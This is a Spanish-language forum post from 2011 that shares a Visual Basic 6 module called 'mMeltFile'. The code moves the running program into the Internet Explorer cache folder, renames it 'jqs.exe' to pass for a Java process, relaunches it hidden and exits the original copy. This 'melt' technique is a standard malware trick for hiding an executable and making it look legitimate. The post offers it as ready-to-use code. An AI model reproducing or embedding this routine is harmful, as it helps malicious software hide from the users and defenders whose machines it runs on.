Jue Jun 02, 2011 3:42 pm
- Código:
Option Explicit
'---------------------------------------------------------------------------------------
'---------------------------------------------------------------------------------------
'---------------------------------------------------------------------------------------
'---------------------------------------------------------------------------------------
' MODULO : mMeltFile |||
' FECHA : 12/10/2010 20:50 |||
' AUTOR : Fakedo0r |||
' CREDITOS : Jhonjhon_123 |||
' CORREO : [Tienes que estar registrado y conectado para ver este vínculo] |||
' USO : Call MeltFile |||
'---------------------------------------------------------------------------------------
'---------------------------------------------------------------------------------------
'---------------------------------------------------------------------------------------
'---------------------------------------------------------------------------------------
'============================================================================
'APIS
'============================================================================
Private Declare Function MoveFileEx Lib "kernel32" Alias "MoveFileExA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal dwFlags As Long) As Long
Private Declare Function DeleteFile Lib "kernel32" Alias "DeleteFileA" (ByVal lpFileName As String) As Long
Private Declare Function SHGetSpecialFolderLocation Lib "shell32.dll" (ByVal hwndOwner As Long, ByVal nFolder As Long, pidl As ITEMIDLIST) As Long
Private Declare Function SHGetPathFromIDList Lib "shell32.dll" (ByVal pidl As Long, ByVal pszPath As String) As Long
Private Declare Function Shell Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Const CSIDL_INTERNET_CACHE As Long = &H20
Private Type SHITEMID
cb As Long
abID As Byte
End Type
Private Type ITEMIDLIST
mkid As SHITEMID
End Type
'==============================================================================
' --- FUNCION RECUPERAR RUTAS ESPECIALES
'==============================================================================
Private Function GetSpecialFolderX(CSIDL As Long) As String
Dim Ret As Long
Dim Path As String
Dim IDL As ITEMIDLIST
Ret = SHGetSpecialFolderLocation(100, CSIDL, IDL)
If Ret = 0 Then
Path$ = Space$(512)
Ret = SHGetPathFromIDList(ByVal IDL.mkid.cb, ByVal Path$)
GetSpecialFolderX = Left$(Path, InStr(Path, Chr$(0)) - 1)
Exit Function
End If
GetSpecialFolderX = ""
End Function
'==============================================================================
' --- FUNCION LLAMAR MELTFILE
'==============================================================================
Public Sub MeltFile()
Dim File As String
Dim F_File As String
Dim Path As String
File = App.Path & "" & App.EXEName & ".exe"
Path = GetSpecialFolderX(CSIDL_INTERNET_CACHE)
F_File = Path & "" & "jqs" & ".exe"
If File <> F_File Then
Call DeleteFile(F_File)
Call MoveFileEx(File, F_File, 2)
Call Shell(0, "open", F_File, "", "", 0)
End
End If
End Sub